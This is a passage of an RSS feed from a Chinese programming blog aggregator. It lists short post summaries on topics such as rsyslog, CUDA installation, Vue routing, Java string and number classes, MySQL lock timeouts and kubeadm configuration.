50lux，二级照明为 30lux，三级照明为 1lux，当光照强度小于 50lux 会开启一个 led 灯，小于 30lux 会开启 2 个 led 灯，当光照强度小于 1lux 时，3 个 led 灯会全部开启。&#xA;开发平台：&#xA;华清远见stm32mp157开发板豪华套餐（开发板+仿真器+五寸屏+摄像头+资源扩展板+tf卡+读卡器）&#xA;项目实战：&#xA;Qt 开发环境搭建 主机开发环境说明 1) 本文档主要介绍 linux 环境下的 Qt 程序开发；&#xA;2) 主机 Qt 版本为 5.14.1；&#xA;主机 Qt 环境搭建及使用 Qt Creator 安装 将 qt-creator-opensource-linux-x86_64-4.10.1.run（Qt 实验源码\工具软件） 复制到 ubuntu 主机中，可以采用共享文件夹的方式也可以使用 tfp方式将文 件存入家目录下的 Downloads 目录。我们需要在终端中赋予安装程序可执行的权限</description>
    </item>
    <item>
      <title>Rsyslog系统日志管理，解决/var/log/message文件过大问题</title>
      <link>https://bchobby.github.io/posts/3387aeba154a276e6b3eb0ce5cd24e26/</link>
      <pubDate>Fri, 03 Mar 2023 11:24:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3387aeba154a276e6b3eb0ce5cd24e26/</guid>
      <description>messages 日志是核心系统日志文件。它包含了系统启动时的引导消息，以及系统运行时的其他状态消息。IO 错误、网络错误和其他系统错误都会记录到这个文件中。其他信息，比如某个人的身份切换为 root，也在这里列出。如果服务正在运行，比如 DHCP 服务器，您可以在 messages 文件中观察它的活动。通常，/var/log/messages 是您在做故障诊断时首先要查看的文件。&#xA;/var/log/messages文件中存放的就是系统的日志信息,当内核程序调试时,printk语句所产生的信息显示不出来的时候,就使用cat /var/log/messages文件的方法,查看所打印出的信息.&#xA;PS.要查看文件的最后几行,使用tai命令,tail /var/log/messages&#xA;————————————————&#xA;版权声明：本文为CSDN博主「让爱远行2015」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/u011065164/article/details/75007758&#xA;打开message日志系统&#xA;高版本ubuntu系统默认没有 /var/log/messages，因为在 /etc/rsyslog.d/50-default.conf 文件中，将其注释掉了。如下图&#xA;所以需修改该配置文件，将注释放开。&#xA;然后重启rsyslog服务即可。&#xA;systemctl restart rsyslog.service 进入 /var/log/ 目录下就可以看到 messages 文件&#xA;作者：TASK_RUNNING&#xA;链接：https://www.jianshu.com/p/75d8da039815&#xA;来源：简书&#xA;目录&#xA;Rsyslog系统日志管理&#xA;一、常见的系统日志&#xA;二、日志管理程序&#xA;三、日志级别&#xA;四、日志配置&#xA;五、远程日志管理&#xA;六、日志轮转&#xA;Rsyslog系统日志管理&#xA;课程目标&#xA;了解日志的级别与作用&#xA;掌握 rsyslog 服务的本地日志和远程日志的管理&#xA;能够使用 logrotate 程序根据需求对日志进行轮转&#xA;一、常见的系统日志&#xA;日志格式：文本日志/二进制日志/数据库日志&#xA;默认的相关日志文件：&#xA;/var/log/boot.log 系统引导日志，记录开机启动信息&#xA;/var/log/dmesg 核心的启动日志&#xA;/var/log/message 系统的日志文件&#xA;/var/log/maillog 邮件服务的日志&#xA;/var/log/xferlog ftp服务的日志&#xA;/var/log/secure 网络连接及系统登录的安全信息&#xA;/var/log/cron 定时任务的日志</description>
    </item>
    <item>
      <title>Scala安装配置</title>
      <link>https://bchobby.github.io/posts/283776a41ace07b9b109b02ba695bb2d/</link>
      <pubDate>Fri, 03 Mar 2023 11:23:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/283776a41ace07b9b109b02ba695bb2d/</guid>
      <description>文章目录 Scala安装配置一、Scala简介1. 概述1.1 为什么要使用scala?1.2 Scala 发展历史1.3 Scala 和 Java 关系1.4 Scala 语言特点 2. Scala对比Java案例一案例二 二、开发环境安装1. 使用版本2. Scala执行流程3. 安装JDK4. 安装scala SDK4.1 下载Scala4.2 安装Scala 5. 测试是否安装成功6. 安装IDEA scala插件7. 新建项目 三、scala解释器1. 启动scala解释器2. 执行scala代码3. 退出解释器 四、HelloWorld 案例1. 创建 IDEA 项目工程1）打开 IDEA-&amp;gt;点击左侧的 Flie-&amp;gt;选择 New-&amp;gt;选择 Project…2）创建一个 Maven 工程，并点击 next3）默认下，Maven 不支持 Scala 的开发，需要引入 Scala 框架。4）创建项目的源文件目录5）在 scala 包下，创建包 com.atguigu.chapter01 包名和 Hello 类名6）编写输出 Hello Scala 案例 2. 代码中语法的简单说明 五、关联 Scala 源码六、官方编程指南 Scala安装配置 一、Scala简介 1. 概述 Scala(斯嘎拉)这个名字来源于&#34;Scalable Language(可伸缩的语言)&#34;，它是一门基于JVM的多范式编程语言，通俗的说：Scala是一种运行在JVM上的函数式的面向对象语言。之所以这样命名，是因为它的设计目标是：随着用户的需求一起成长。Scala可被广泛应用于各种编程任务, 从编写小型的脚本到构建巨型系统，它都能胜任。正因如此, Scala得以提供一些出众的特性, 例如: 它集成了面向对象编程和面向函数式编程的各种特性, 以及更高层的并发模型。</description>
    </item>
    <item>
      <title>EC200N-CN 简单使用记录</title>
      <link>https://bchobby.github.io/posts/3ae0a5e42c91c5992a091d1cfce9f4a5/</link>
      <pubDate>Fri, 03 Mar 2023 10:36:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ae0a5e42c91c5992a091d1cfce9f4a5/</guid>
      <description>基础命令 AT&amp;amp;F 重置 AT 命令设置为出厂设置&#xA;AT&amp;amp;F&#xA;AT&amp;amp;W 存储当前设置到用户定义配置文件&#xA;AT&amp;amp;W[] 整型 0 配置文件编号。 用于存储当前的 AT 命令设置。&#xA;AT&amp;amp;W0&#xA;响应 ok&#xA;时间&#xA;AT+QLTS=2 //查询通过网络同步的最新时间计算出的当前本地时间&#xA;关闭程序:&#xA;AT+QPOWD&#xA;发送 AT+QPOWD 后，请勿执行任何其他 AT 命令。成功执行命令后，模块将输出消息 POWERED&#xA;DOWN，然后进入关机状态。为了避免数据丢失，建议在输出 URC POWERED DOWN 后等待 3 秒以断开&#xA;电源。若 65 秒后仍未收到 POWER DOWN，则必须强制断开电源。&#xA;查询本机电话&#xA;AT+CNUM&#xA;AT+QURCCFG=“urcport”,“uart1” //配置为串口上报URC&#xA;AT+CNMI=2,1,0,1,0 //配置新短信提示上报的URC为+CMTI: ,,其余配置看手册&#xA;拨打电话 AT^DSCI=1 开启呼叫状态信息提醒&#xA;ATD18772612940; 拨打电话&#xA;AT+QWTTS=1,0,2,“目前塔机处于锁机状态” 拨打电话插播语音&#xA;AT+CHUP 挂断语音电话(数据通话没有断)&#xA;响应&#xA;^DSCI: 1,0,2,0,18772612940,129 发起呼叫开始&#xA;^DSCI: 1,0,7,0,18772612940,129 呼叫响铃中&#xA;^DSCI: 1,0,3,0,18772612940,129 用户已接听&#xA;^DSCI: 1,0,6,0,18772612940,129 呼叫结束</description>
    </item>
    <item>
      <title>vue路由跳转</title>
      <link>https://bchobby.github.io/posts/5a5e6c8779796d69072444e3c4cb9e2c/</link>
      <pubDate>Fri, 03 Mar 2023 10:16:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a5e6c8779796d69072444e3c4cb9e2c/</guid>
      <description> html中进行设置 //不带参数 &amp;lt;nuxt-link to=&#34;/companyProfile#goQyjj&#34; target=&#39;_blank&#39; tag=&#34;a&#34;&amp;gt;&amp;lt;/nuxt-link&amp;gt; &amp;lt;nuxt-link :to=&#34;{path:&#39;/home&#39;}&#34; target=&#39;_blank&#39;&amp;gt; &amp;lt;nuxt-link :to=&#34;{name:&#39;/home&#39;}&#34; target=&#39;_blank&#39;&amp;gt; //带参数 &amp;lt;nuxt-link :to=&#34;{ path: &#39;/home/media&#39;,query:{category_id:1}}&#34; target=&#39;_blank&#39; tag=&#34;a&#34;&amp;gt; js进行路由跳转 一、push:跳转到指定url路径，并想history栈中添加一个记录，点击后退会返回到上一个页面 //不带参数 this.$router.push({path:&#39;/home/news&#39;}); //带参数 this.$router.push({path:&#39;/home/news&#39;,query:{news_id:news_id,visit_flag:1}}); this.$router.push({path:&#39;/home/news&#39;,params:{news_id:news_id,visit_flag:1}}); //通过name跳转 openNew(name, id) { this.$router.push({ name: name, query: { id: id } }) }, 二、replace用法同push一样,跳转到指定url路径，但是history栈中不会有记录，点击返回会跳转到上上个页面 (就是直接替换了当前页面) this.$router.replace() 三、go向前或者向后跳转n个页面，n可为正整数或负整数 this.$router.go(n) 注意：query和params区别&#xA;query类似 get, 跳转之后页面 url后面会拼接参数,类似?id=1, 非重要性的可以这样传, 密码之类还是用params刷新页面id还在&#xA;params类似 post, 跳转之后页面 url后面不会拼接参数 , 但是刷新页面id 会消失&#xA;跳转到外部链接 indow.open(url,&#39;_blank&#39;) </description>
    </item>
    <item>
      <title>Ubuntu安装英伟达驱动CUDA，CUDNN,PyTorch保姆级教程</title>
      <link>https://bchobby.github.io/posts/e9039db78e9c054347a01fea4d513a5c/</link>
      <pubDate>Fri, 03 Mar 2023 10:14:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9039db78e9c054347a01fea4d513a5c/</guid>
      <description>一.安装CUDA 切换显卡驱动，并通过NVIDIA-smi查看信息： 考虑到后面安装PyTorch，不建议使用最新的驱动，这样CUDA版本不会过高。&#xA;在英伟达官网下载CUDA，我的是11.8。 wget https://developer.download.nvidia.com/compute/cuda/11.8.0/local_installers/cuda_11.8.0_520.61.05_linux.run sudo sh cuda_11.8.0_520.61.05_linux.run 安装 如果在这一步报错Failed to verify gcc version. See log at /var/log/cuda-installer.log for details.解决方案为：&#xA;sudo sh cuda_11.8.0_520.61.05_linux --override 在下一个界面中，不要安装显卡驱动，选择安装即可。&#xA;Please make sure that - PATH includes /usr/local/cuda-11./bin - LD_LIBRARY_PATH includes /usr/local/cuda-11.8/lib64, or, add /usr/local/cuda-11.8/lib64 to /etc/ld.so.conf and run ldconfig as root 这个代码的路径很重要。&#xA;输入vim ~/.bashrc&#xA;在最后添加&#xA;export PATH=&#34;/usr/local/cuda-11.8/bin:$PATH&#34; export LD_LIBRARY_PATH=&#34;/usr/local/cuda-11.8/lib64:$LD_LIBRARY_PATH&#34; 保存之后出来&#xA;source ~/.bashrc 验证 nvcc -V 得到如上结果即可。&#xA;二.安装cuDNN 下载对应版本（我的是11.8）以deb为例 输入以下代码： wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2204/x86_64/cuda-ubuntu2204.pin sudo mv cuda-ubuntu2204.</description>
    </item>
    <item>
      <title>微信小程序笔记</title>
      <link>https://bchobby.github.io/posts/b16434646bb34d01c4c0fc6282390daa/</link>
      <pubDate>Fri, 03 Mar 2023 09:29:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b16434646bb34d01c4c0fc6282390daa/</guid>
      <description>空待整理</description>
    </item>
    <item>
      <title>使用Maven构建Spring子项目，pom.xml出现“父级org.example:xxx:1.0-SNAPSHOT‘ 有问题”，project 和 parent标签间断出现报错下划线</title>
      <link>https://bchobby.github.io/posts/283a925920665073a0561edfc456b5a3/</link>
      <pubDate>Fri, 03 Mar 2023 09:25:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/283a925920665073a0561edfc456b5a3/</guid>
      <description>今天写第一个Spring项目的时候，项目中的pom.xml突然出现了报红情况，父子项目都有：&#xA;尝试过清除缓存，修改jdk版本等等方法都没法解决&#xA;最后发现其实很简单：&#xA;我找到idea的Maven中的setting.xml的地址并打开：&#xA;打开发现是setting.xml中设置的映射有误，修改成正确映射之后就没事了</description>
    </item>
    <item>
      <title>JavaScript随手笔记---轮播图（点击切换）</title>
      <link>https://bchobby.github.io/posts/d73f1891d73a03fd833d965ddeec18d7/</link>
      <pubDate>Fri, 03 Mar 2023 09:21:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d73f1891d73a03fd833d965ddeec18d7/</guid>
      <description>💌 所属专栏：【JavaScript随手笔记】 😀 作 者：我是夜阑的狗🐶 🚀 个人简介：一个正在努力学技术的CV工程师，专注基础和实战分享 ，欢迎咨询！&#xA;💖 欢迎大家：这里是CSDN，我总结知识的地方，喜欢的话请三连，有问题请私信 😘 😘 😘&#xA;文章目录 前言一、方法一：点击切换1.实现原理2.实现过程3.实现效果 二、方法二：定时切换1.实现原理2.实现过程3.实现效果 总结 前言 大家好，又见面了，我是夜阑的狗，本文是专栏 【JavaScript随手笔记】专栏的第3篇文章;&#xA;今天被丢了一个需求 😀 😀 😀，里面就需要实现轮播图，以前在学校时候实现过，但没做记录（博客），基本就模模糊糊的感觉，所以这次就把实现过程跟原理记录下来；&#xA;专栏地址：【JavaScript随手笔记】 ， 此专栏是我是夜阑的狗对JS轮播图实现的总结，希望能够加深自己的印象，以及帮助到其他的小伙伴😉😉。&#xA;如果文章有什么需要改进的地方还请大佬不吝赐教👏👏。&#xA;一、方法一：点击切换 1.实现原理 基本上摸透了实现原理，实现起来难度就不会很大啦；&#xA;Step 1、创建一个对象来保存图片资源的路径和数量，如下: var albumImageList = { length: 3, //图片数量 1: {id: 1, uri: &#34;images/BO_09.png&#34;}, 2: {id: 2, uri: &#34;images/HRbackground.png&#34;}, 3: {id: 3, uri: &#34;images/local_MUSIC_00010.png&#34;} }; var albumImageCurrent = 1; // 当前图片选择序列号 其中length表示图片数量，{id: 1, uri: &#34;images/BO_09.png&#34;}表示当前图片位置和路径，其实不用id也可以的，读者可以进行优化。albumImageCurrent 变量后面切换图片的会用上。&#xA;Step 2、（📢 📢 📢 最重要的一步！！！）通过点击产生回调事件，这时候判断当前显示图片位置是否超过length，没有则会对象下标加1显示下一张图片，反之显示第一张图片。从而实现图片显示循环。Step 3、注册按钮事件，在回调函数中加入图片切换函数（可自己封装）； 2.</description>
    </item>
    <item>
      <title>Java中数字的应用</title>
      <link>https://bchobby.github.io/posts/e1bbdb8f9b0f72e6798e6e81abd6cfed/</link>
      <pubDate>Fri, 03 Mar 2023 08:58:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1bbdb8f9b0f72e6798e6e81abd6cfed/</guid>
      <description> Java中数字的应用 在java中经常会遇到比较大的数，甚至超过了long型，那么该如何处理这些“大数据”呢？在java中有两个类BigInteger和BigDecimal分别表示大整数类和大浮点数类，从原则上是可以表示“天文单位”一样大的数字咯，但有一个缺点就是比较费内存！&#xA;1、BigInteger 常用的方法有：&#xA;例：int a=1000&#xA;String A =“10000”&#xA;BigInteger b=BigInteger.valueOf(s);&#xA;BigInteger.valueOf(A) 将括号内的参数转换成指定的数据类型b.add(BigInteger b) 是将b大整数加起来b.subtract© 将c大整数相减,运用时前者减后者b.multiply(d) 将大整数相乘b.divide(d) 将大整数做除法，前者除后者b.remainder() 这个函数的作用是将大整数取余b.pow(exponent) 这个书次exponent 次方b.abs() 这个函数的作用是取绝对值b.mod() 这个函数的作用是对数进行取余b.compareTo() 用来比较两个大整数大小的 2、BigDecimal Java在java.math包中提供的API类BigDecimal，用来对超过16位有效位的数进行精确的运算。双精度浮点型变量double可以处理16位有效数，但在实际应用中，可能需要对更大或者更小的数进行运算和处理。一般情况下，对于那些不需要准确计算精度的数字，我们可以直接使用Float和Double处理，但是Double.valueOf(String) 和Float.valueOf(String)会丢失精度。所以开发中，如果我们需要精确计算的结果，则必须使用BigDecimal类来操作。&#xA;常用的方法有：&#xA;add(BigDecimal) BigDecimal对象中的值相加，返回BigDecimal对象subtract(BigDecimal) BigDecimal对象中的值相减，返回BigDecimal对象multiply(BigDecimal) BigDecimal对象中的值相乘，返回BigDecimal对象divide(BigDecimal) BigDecimal对象中的值相除，返回BigDecimal对象toString() 将BigDecimal对象中的值转换成字符串doubleValue() 将BigDecimal对象中的值转换成双精度数floatValue() 将BigDecimal对象中的值转换成单精度数longValue() 将BigDecimal对象中的值转换成长整数intValue() 将BigDecimal对象中的值转换成整数 3、Math 常用的方法有：&#xA;Math.sqrt() ：计算平方根Math.cbrt() ： 计算立方根Math.pow(a, b) ： 计算a的b次方Math.max( , ) ： 计算最大值Math.min( , ) ： 计算最小值Math.abs( ) ： 取绝对值Math.ceil()： 向上取整Math.floor() ：向下取整Math.rint()：四舍五入，返回double值。注意.5的时候会取偶数Math.round()：四舍五入，float时返回int值，double时返回long值Math.random(): 取得一个[0, 1)范围内的随机数 </description>
    </item>
    <item>
      <title>mysql update语句锁全表导致的等待超时问题</title>
      <link>https://bchobby.github.io/posts/8eaf9b773b26309c95ecda1639c93369/</link>
      <pubDate>Fri, 03 Mar 2023 01:39:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8eaf9b773b26309c95ecda1639c93369/</guid>
      <description>背景 事情起因于一次生产的错误日志，日志的主要内容是sql执行超时，update product set num = num -1 where id=xx 这是一条根据索引更新商品表数据的sql语句，商品表product有1千多万数据，设置的数据库连接的读取超时时间是3秒，一般情况下，按照主键更新记录只需要10ms，那为什么会导致update超时呢？&#xA;查找真相 首先排除了偶尔的网络问题，因为我们发现这个根据主键更新记录超时的日志经常出现凌晨2点左右，而且经过最近5天的观察，其他时间段并没有这个超时错误日志，而且运维反馈这段时间内并没有网络的问题。&#xA;在排除了网络问题后，想到了是否是Mysql数据库负载的问题，查看数据库cpu使用率才10%，再次排除是数据库负载高的问题，答案开始变得迷茫起来&#xA;再经过前面几步的排除后，我们又重新回到了update product set num = num -1 where id=xx 这个sql本身的问题，如果数据库当时没有压力，但是执行时间又很久，那么数据库在执行这个sql时肯定在等待什么资源，一说到等待什么资源，我们立马想到了，这个根据主键更新记录需要获取到id=xx的主键索引的锁，会不会这个id=xx的锁被某个其他的长时间运行的事务持有而导致等待锁资源呢？&#xA;想到这一点之后，我们才想到查看一下数据库这个时间点的慢查询日志，突然一条根据时间字段更新记录的sql映入眼帘，&#xA;update product set buynum = 100 where update_time &amp;gt; xx 这条导致问题的update语句没有走索引的操作，会锁全表(也就是说会锁定所有的主键索引)，而且耗时很长，所以真相也随之浮出水面，是因为有一条update的语句锁全表导致的另一条根据主键id来更新记录的update语句执行超时&#xA;总结 那我们知道事情的真相，也就是update语句不通过索引更新记录时会长时间的锁定全表，那么如何解决这个问题呢？&#xA;方法1： 尽量的减少update全表记录时锁全表的时长，比如分批执行，虽然还是会锁全表，但是因为锁全表的时间短，可以很快释放&#xA;方法2：使用mysql安全模式set sql_safe_updates = 1;&#xA;在这种模式下，update或者delete数据要么带上索引字段(目的是为了不锁全表，而只需要锁定特定的记录)要么加上limit限制更新记录的数量(目的是为了减少锁全表的时间)&#xA;其实最重要就是要意识到update操作可能会锁表，导致其他的update语句等待，进而级联引起雪崩效应</description>
    </item>
    <item>
      <title>String 字符串的应用</title>
      <link>https://bchobby.github.io/posts/51408802483f8089c376e7350171c5a7/</link>
      <pubDate>Thu, 02 Mar 2023 22:13:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51408802483f8089c376e7350171c5a7/</guid>
      <description>String 字符串的应用 1、String 字符串 , 引用类型。（基本类型的变量存储的是数据，引用类型的变量存储的是数据的地址）字符串对象。&#xA;字符常用的方法：&#xA;例如：String str = “string”;&#xA;str.length() 它返回字符串对象包含的字符数。str.cancat(string2) 连接两个字符串的方法：str.charAt(int index) 返回指定索引处的值。str.indexOf(int ch) 从前向后查找,第一次出现的字符串中的索引str.lastIndexOf(int ch) 从前向后查找,最后一次出现的字符串中的索引。str.substring(int beginIndex，int endIndex) 返回从起始位置（beginIndex）到目标位置（endIndex）之间的字符串，但不包含目标位置（endIndex）的字符str.startsWith(“string2”) 用于检测字符串是否以指定的前缀开始。str. endsWith(“string2”) 测试此字符串是否以指定的后缀结尾。str.trim() 用于删除字符串的头尾空白符。str.replace(&#34; “,” &#34;) 通过用 newChar 字符替换字符串中出现的所有 searchChar 字符，并返回替换后的新字符串。str. toCharArray() 将字符串转换为字符数组。str.split() 根据匹配给定的正则表达式来拆分字符串 2、StringBuffer String类是字符串常量，是不可更改的常量。而StringBuffer是字符串变量，它的对象是可以扩充和修改的。&#xA;例：&#xA;StringBuffer sb = new StringBuffer(“abc”);&#xA;常用的方法有：&#xA;sb.append(boolean b) 追加内容到当前StringBuffer对象的末尾sb.deleteCharAt(int index) 删除指定位置的字符，然后将剩余的内容形成新的字符串sb.delete(int start,int end) 删除指定区间以内的所有字符，包含start，不包含end索引值的区间。sb.insert(int offset, boolean b) StringBuffer对象中插入内容，然后形成新的字符串sb. reverse() 将StringBuffer对象中的内容反转，然后形成新的字符串setCharAt(int index, char ch) 修改对象中索引值为index位置的字符为新的字符sb.length 获取字符串长度substring(int start,int end ) 从start开始截取到end结束 3、StringBuilder sb.</description>
    </item>
    <item>
      <title>罗技驱动Logitech G HUB一直卡在初始加载界面无法进入的问题</title>
      <link>https://bchobby.github.io/posts/87f11356f876846ad8c8b19c8fd28dce/</link>
      <pubDate>Thu, 02 Mar 2023 22:06:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87f11356f876846ad8c8b19c8fd28dce/</guid>
      <description>罗技驱动Logitech G HUB一直卡在初始加载界面无法进入的问题 taskkill /im lghub.exe /f taskkill /im lghub_agent.exe /f taskkill /im lghub_updater.exe /f start &#34;&#34; &#34;C:\Program Files\LGHUB\lghub_agent.exe&#34; start &#34;&#34; &#34;C:\Program Files\LGHUB\lghub_updater.exe&#34; start &#34;&#34; &#34;C:\Program Files\LGHUB\lghub.exe&#34; 保存（ctrl+s）后，将文件后缀改为cmd。</description>
    </item>
    <item>
      <title>Vue项目目录结构介绍讲解</title>
      <link>https://bchobby.github.io/posts/1e7ec0328f1e382e5d560e514087f19e/</link>
      <pubDate>Thu, 02 Mar 2023 20:58:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e7ec0328f1e382e5d560e514087f19e/</guid>
      <description> 1.Vue单文件组件 node_modules:依赖的node工具包目录 public： 一般用于存放一些静态资源文件，例如图片，视频，音频等资源文件。需要特别注意的是webpack在进行打包的时候，会将public中的所有静态资源原封不动的进行打包。 src 文件夹，就是指我们存放项目源代码的文件夹，程序员的工作主要在本文件夹内。 src下面的目录结构： assets：也是用于存放一些静态资源文件，与public中所不同的是，webpack在进行打包的时候，会将其认作为一个模块进行打包到js文件里面。 components： 一般用于存放非路由组件（还有全局组件）。 router：路由，此处配置项目路由。 store：状态管理。 views:路由页面组件 App.vue:是项目的主组件，页面的入口文件是整个项目的根组件，所有组件的后缀名均为·vue。 main.js是整个项目的入口文件。也是整个程序最开始执行的文件。 .browserslistrc：可以通过npx browserslist 命令来查询浏览器版本，在查询时会根据.browserslistrc描述的版本进行查询，并在控制台打印出浏览器版本 .gitignore:文件负责标记哪些目录或文件不需要上传到git babel.config.js:配置文件，用于兼容更多浏览器。 jsconfig.json:JavaScript 项目可以使用jsconfig.json文件来代替，它的作用几乎相同，但默认启用了一些与 JavaScript 相关的编译器标志。 package.json:项目的说明性文件，用于说明项目的名字，版本，所配置的依赖； README.MD：说明性的一个文件。 vue.config.js:是以一个可选的配置文件，如果项目中的根目录 (和 package.json 同级的) 中存在这个文件，那么它会被 @vue/cli-service 自动加载。也可以使用 package.json 中的 vue 字段，但是注意这种写法需要你严格遵照 JSON 的格式来写。 yarn.lock:为了跨机器安装得到一致的结果, Yarn 需要比你配置在 package.json 中的依赖列表更多的信息。 Yarn 需要准确存储每个安装的依赖是哪个版本。&#xA;为了做到这样, Yarn 使用一个你项目根目录里的 yarn.lock 文件。这可以媲美其他像 Bundler 或 Cargo 这样的包管理器的 lockfiles。它类似于 npm 的 npm-shrinkwrap.json, 然而他并不是有损的并且它能创建可重现的结果。 </description>
    </item>
    <item>
      <title>VS Code 配置 Python &#43; 配置 Flask 环境及其虚拟环境</title>
      <link>https://bchobby.github.io/posts/9bf6ec617536af1e130e85962458e665/</link>
      <pubDate>Thu, 02 Mar 2023 20:10:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9bf6ec617536af1e130e85962458e665/</guid>
      <description>本文目录 一、Python的下载二、拓展库安装三、编写案例运行调试四、部分使用优化五、配置 Flask 环境总结：一些小技巧1、找到原来安装过的python路径位置 一、Python的下载 这里推荐使用国内源进行下载，国外源一般都比较慢。&#xA;跳转链接：https://registry.npmmirror.com/binary.html?path=python/&#xA;同时建议不要直接安装最新版本，因为最新版本容易出现一些插件的不支持等等情况。&#xA;在这里我选择的是3.11.1的版本。&#xA;选择下面的自定义安装，并且将 Add python to PATH 点击上，自动加入到环境变量中去，不需要我们再进行相关的配置。&#xA;同时建议安装在D盘，自建一个新的文件夹，不推荐安装在C盘的原因是，后期安装拓展的时候需要管理员权限才能写入，会比较麻烦。&#xA;安装好之后，通过cmd可以查到python的版本。这样就算安装好了。&#xA;二、拓展库安装 在安装Python的路径下，打开cmd。输入pip list即可查看有哪些拓展库。&#xA;然后根据自己想要的拓展库进行安装即可。&#xA;然后在Vscode中安装Python即可。&#xA;三、编写案例运行调试 我们新建一个文件，然后输入print（“hello”）进行相关测试。&#xA;会发现按照惯例输出了。&#xA;然后我们继续进行外部终端方式进行修改。如下图所示。&#xA;更改为外部终端显示之后，我们就可以进行外部终端的显示代码了。&#xA;四、部分使用优化 安装JetBrains插件，就可以象Idea背景那样了。&#xA;五、配置 Flask 环境 特别注意：不要安在C盘中，因为容易因为权限打不开Vscode。。。楼主已经踩坑了。&#xA;1.首先搭建虚拟环境，在windows命令行输入pip install virtualenv，安装虚拟环境，安装完以后可以使用virtualenv --version来查看虚拟环境是否搭建成功。&#xA;2.然后输入mkdir myproject创建你自己的文件夹。&#xA;3.输入cd myproject进入你的文件夹。&#xA;4.然后输入virtualenv venv，这时候myproject下会创建一个venv文件夹。&#xA;5.接着输入venv\scripts\activate来激活虚拟环境（要退出虚拟环境使用deactivate）&#xA;6.然后使用pip install Flask来安装Flask。&#xA;7.在虚拟环境下输入python以启动python解释器，输入import flask，若没有报错，则说明flask安装成功，之后就是编辑器环境的配置了。&#xA;8.用VScode打开刚刚创建的文件夹。&#xA;9.创建test.py文件，并点运行，添加配置，然后选择flask即可，把app.py改成test.py即可。&#xA;总结：一些小技巧 1、找到原来安装过的python路径位置 很多同学安装过python，但是忘记路径位置了。可以进行如下操作：</description>
    </item>
    <item>
      <title>static的作用有哪些？</title>
      <link>https://bchobby.github.io/posts/0a4f0425ace9545e9a3445f0dfb49055/</link>
      <pubDate>Thu, 02 Mar 2023 19:08:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a4f0425ace9545e9a3445f0dfb49055/</guid>
      <description>C语言中的static的作用有：1.修饰局部变量。2.修饰全局变量。3.修饰函数。&#xA;1.修饰局部变量。&#xA;如图：&#xA;当只用int 定义变量a时,此时程序运行结果为：&#xA;程序运行结果为10个2，这是为什么呢？？&#xA;原因是此时的变量a为局部变量，当主函数中的while循环每调用一次test()的时候，变量a就会被创建，而调用结束时，此时a就会被销毁，当再一次循环调用test()的时候，a又会被创建并赋值为1，所以每次循环,a都会被重新创建一次，每次test()打印的结果都是2；&#xA;而利用static对局部变量修饰后：&#xA;再次运行程序：&#xA;此时运行的结果就是2~11；原因是static对变量a进行了修饰，将变量a的生命周期进行了延长，使a出了它的作用范围后并没有被销毁，如果没有static，每次调用test结束时a都会被销毁。&#xA;所以利用static修饰局部变量，可以延长其生命周期。&#xA;2.static修饰全局变量。&#xA;这是一般使用全局变量的方法，程序可以正常运行，运行结果为：2023&#xA;同一个工程下的另一个文件里用全局变量定义g_val，但此时程序会报错&#xA;这就需要我们在主函数所在的文件里用extern声明外部符号g_val；&#xA;此时程序就能正常运行；而当我们用static在add.c文件中修饰全局变量g_val时：&#xA;此时程序就会报错。那这是为什么呢？？&#xA;首先我们讨论全局变量的特性。全局变量是可以在整个工程中使用的；全局变量是具有外部链接属性的，在其他源文件内部，只要适当的声明就可以使用；&#xA;而当static修饰全局变量时，全局变量的外部链接属性就变成了内部链接属性，就只能在自己所在的内部.c文件中使用了，其他.c内部文件内就不能使用了。&#xA;所以static修饰全局变量，是会将全局变量的外部链接属性变成内部链接属性的，影响了全局变量的作用域。&#xA;3.static修饰函数。&#xA;与修饰全局变量类似，当没用static修饰的时候&#xA;程序能够正常运行并打印；当static修饰Add函数时&#xA;此时程序报错；&#xA;原因和static修饰全局变量相同：&#xA;函数是具有外部链接属性的，当static修饰函数后，函数的外部链接属性就变成了内部链接属性；&#xA;被static修饰的函数只能在自己所在的.c文件中使用。最终相当于影响了作用域。</description>
    </item>
    <item>
      <title>配置 kubeadm 的部署参数</title>
      <link>https://bchobby.github.io/posts/5f23b55833e3a1fdbced97b752df7263/</link>
      <pubDate>Thu, 02 Mar 2023 16:52:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f23b55833e3a1fdbced97b752df7263/</guid>
      <description>kubeadm 部署 Kubernetes 集群最关键的两个步骤，kubeadm init 和&#xA;kubeadm join。相信你一定会有这样的疑问：kubeadm 确实简单易用，可是我又该如何&#xA;定制我的集群组件参数呢？&#xA;比如，我要指定 kube-apiserver 的启动参数，该怎么办？&#xA;在这里，我强烈推荐你在使用 kubeadm init 部署 Master 节点时，使用下面这条指令：&#xA;1 $ kubeadm init --config kubeadm.yaml 这时，你就可以给 kubeadm 提供一个 YAML 文件（比如，kubeadm.yaml），它的内容&#xA;如下所示（我仅列举了主要部分）：&#xA;1 apiVersion: kubeadm.k8s.io/v1alpha2 2 kind: MasterConfiguration 3 kubernetesVersion: v1.11.0 4 api: 5 advertiseAddress: 192.168.0.102 6 bindPort: 6443 7 ... 8 etcd: 9 local: 10 dataDir: /var/lib/etcd 11 image: &#34;&#34; 12 imageRepository: k8s.gcr.io 13 kubeProxy: 14 config: 15 bindAddress: 0.</description>
    </item>
    <item>
      <title>清理c盘空间的方法总结，最详细的c盘清理攻略</title>
      <link>https://bchobby.github.io/posts/1ff34271e963eb1b820a6ddbace30efe/</link>
      <pubDate>Thu, 02 Mar 2023 16:33:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ff34271e963eb1b820a6ddbace30efe/</guid>
